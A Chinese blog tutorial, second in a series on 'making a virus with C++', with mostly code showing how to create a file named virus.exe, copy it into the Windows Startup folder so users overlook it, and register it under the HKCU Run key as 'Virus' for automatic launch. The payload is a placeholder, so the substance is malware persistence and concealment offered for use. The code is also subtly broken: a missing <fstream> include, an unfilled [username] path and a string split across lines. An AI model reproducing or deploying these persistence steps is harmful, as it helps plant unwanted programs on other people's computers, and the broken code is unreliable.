用C++超简单做病毒第二期

3 篇文章 0 订阅
2 篇文章 4 订阅

上一个博客反响很好,如果这期也一样

我会继续做下去

好了废话不多,下面开始讲解


第一步写个简单的C++框架

这里我们还是需要应用Windows库

所以我们需要两个头文件

一个是<Windows.h>还有一个是<iostream>

至于第二个iostream是什么你可以简单的理解为

他是C++的基础库,基础的东西都在里面

什么你上面没看懂?

没事,上面也其实就是一个框架

就是我下面总结的

//上面总结出来的
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    
    return 0;
}

这类似于一个公式,写下来就行,实在不理解也没事


接着我们完成第二步,创建病毒文件

我们使用ofstream来操作创建exe文件脚本

这个是C++中调用文件的东西

我们只需要做到

  1. 创建一个exe文件并且赋予名字
  2. 打开它
  3. 操作
  4. 关闭它

这些分别对应以下代码

string virusFileName = "virus.exe";//取名

ofstream virusFile;//创建它

virusFile.open(virusFileName);//打开它

virusFile << "Okey!";//当开启输出

virusFile.close();//关闭

 


第三步,将病毒文件复制到启动文件夹

为了避免被发现,我们可以进行病毒放到启动文件夹内

大多数人会怕误删而忽视它

这一步也很简单

  1. 找到启动文件夹
  2. 拷贝到里面

这里新的知识点是

CopyFile();

 这个是拷贝文件的操作

在括号内放入保存名称和路径就可以实现

好了这里的代码就是

//用一个字符串变量存储路径
string startupFolderPath = "C:\\Users\\    
    [username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";

string virusFilePath = startupFolderPath + "\\" + virusFileName;

CopyFile(virusFileName.c_str(), virusFilePath.c_str(), false);//保存

最后一步也就是稍难的部分

使用注册表来使病毒更完美点

这里需要用到HKEY知识点

具体的可以查看别的博客来了解

这是一个调用注册表的功能

注册表应该都不陌生

有些软件就会使用注册表来开启自动启动

那我们也来实现这步骤

  1. 创建个注册表内容
  2. 写入功能

也就是下面这个

//创建
HKEY hKey;
//打开
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
//写入功能
    RegSetValueEx(hKey, "Virus", 0, REG_SZ, (LPBYTE)virusFilePath.c_str(), virusFilePath.length() + 1);
//关闭
    RegCloseKey(hKey);

 


总:

你如若还没听懂这里有个代码的整理

可以实现简单的病毒制作

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // Create a virus file
    string virusFileName = "virus.exe";
    ofstream virusFile;
    virusFile.open(virusFileName);
    virusFile << "Virus code goes here";
    virusFile.close();
    // Copy the virus file to the startup folder
    string startupFolderPath = "C:\\Users\\[username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
    string virusFilePath = startupFolderPath + "\\" + virusFileName;
    CopyFile(virusFileName.c_str(), virusFilePath.c_str(), false);
    // Create a registry entry to run the virus on startup
    HKEY hKey;
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
    RegSetValueEx(hKey, "Virus", 0, REG_SZ, (LPBYTE)virusFilePath.c_str(), virusFilePath.length() + 1);
    RegCloseKey(hKey);
    return 0;
}

这就是我所讲的所有的代码

希望大家能多支持这一系列!!!

感谢

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值